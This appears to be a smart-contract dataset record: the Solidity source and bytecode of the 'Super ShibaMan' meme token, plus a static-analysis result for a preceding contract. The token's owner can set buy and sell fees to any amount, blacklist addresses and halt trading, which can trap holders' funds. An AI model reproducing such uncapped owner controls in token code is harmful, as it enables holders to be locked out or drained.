fffffff1681526020019081526020016000206000828254019250508190555081600260008282540192505081905550848160ff16815181101515611f4057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600354600554101515611ff2576000600f60166101000a81548160ff0219169083151502179055506000600f60156101000a81548160ff0219169083151502179055505b8080600101915050611e66565b5050505050565b600060606000843b925061206284601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c3c90919063ffffffff16565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120f784601060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5590919063ffffffff16565b601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561226f578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156122085780820151818401526020810190506121ed565b50505050905090810190601f1680156122355780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561225657600080fd5b505af115801561226a573d6000803e3d6000fd5b505050505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156123065780820151818401526020810190506122eb565b50505050905090810190601f1680156123335780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35050505050565b6000600f60159054906101000a900460ff16905090565b60126020528060005260406000206000915054906101000a900460ff1681565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080843b915061240284601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c3c90919063ffffffff16565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061249784601060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5590919063ffffffff16565b601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082111561260f578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156125a857808201518184015260208101905061258d565b50505050905090810190601f1680156125d55780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156125f657600080fd5b505af115801561260a573d6000803e3d6000fd5b505050505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156126a657808201518184015260208101905061268b565b50505050905090810190601f1680156126d35780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35050505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600f60149054906101000a900460ff16905090565b6000600454905090565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600354905090565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561284f57600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156128ed57600080fd5b505af1158015612901573d6000803e3d6000fd5b505050506040513d602081101561291757600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156129ef57600080fd5b505af1158015612a03573d6000803e3d6000fd5b505050506040513d6020811015612a1957600080fd5b810190808051906020019092919050505092505050919050565b600080600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a9257600080fd5b60055460035403915060ff845111151515612aac57600080fd5b818311151515612abb57600080fd5b670de0b6b3a764000083029250600090505b8351811015612bf257818311151515612ae557600080fd5b8260056000828254019250508190555082601060008684815181101515612b0857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550826002600082825401925050819055508381815181101515612b7757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38080600101915050612acd565b600354600554101515612c36576000600f60166101000a81548160ff0219169083151502179055506000600f60156101000a81548160ff0219169083151502179055505b50505050565b6000612c4a83831115612c73565b818303905092915050565b6000808284019050612c6984821015612c73565b8091505092915050565b801515612c7f57600080fd5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612cc357805160ff1916838001178555612cf1565b82800160010185558215612cf1579182015b82811115612cf0578251825591602001919060010190612cd5565b5b509050612cfe9190612d02565b5090565b612d2491905b80821115612d20576000816000905550600101612d08565b5090565b905600a165627a7a72305820534b4966aa6d4208c15fe8a09b68a5b22858e409055384b39415b701666d177f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 10,669 |
0xC825Db591DC063004e0600a527Ce256aF8469814 | /**
SuperShibaMan
$SHIBMAN
1000x
No team tokens
TAX: 10%/12%
SHIBA's Marketing Team
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SuperShibaMan is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Super ShibaMan";
string private constant _symbol = "SHIBMAN";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xFCC58D050eCe709442546F61A188Cb42892B7393);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
} | 0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f70ccf7146105385780638f9a55c014610561576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b891906134eb565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906136e8565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612ec8565b61092a565b60405161032091906134d0565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906136e8565b60405180910390f35b34801561036057600080fd5b50610369610a09565b604051610376919061375d565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613454565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f1b565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612f9b565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e2e565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613065565b610cd6565b005b34801561045a57600080fd5b5061047560048036038101906104709190612e2e565b610d6f565b60405161048291906136e8565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613092565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906136e8565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613454565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613065565b610f9d565b005b34801561056d57600080fd5b50610576611036565b60405161058391906136e8565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280600e81526020017f53757065722053686962614d616e000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290613648565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf613adb565b5b9050602002016020810190610bc59190612e2e565b858585818110610bd857610bd7613adb565b5b90506020020135612062565b508080610bf090613a34565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90613648565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b610fa5611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc3610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600f5481565b60606040518060400160405280600781526020017f534849424d414e00000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381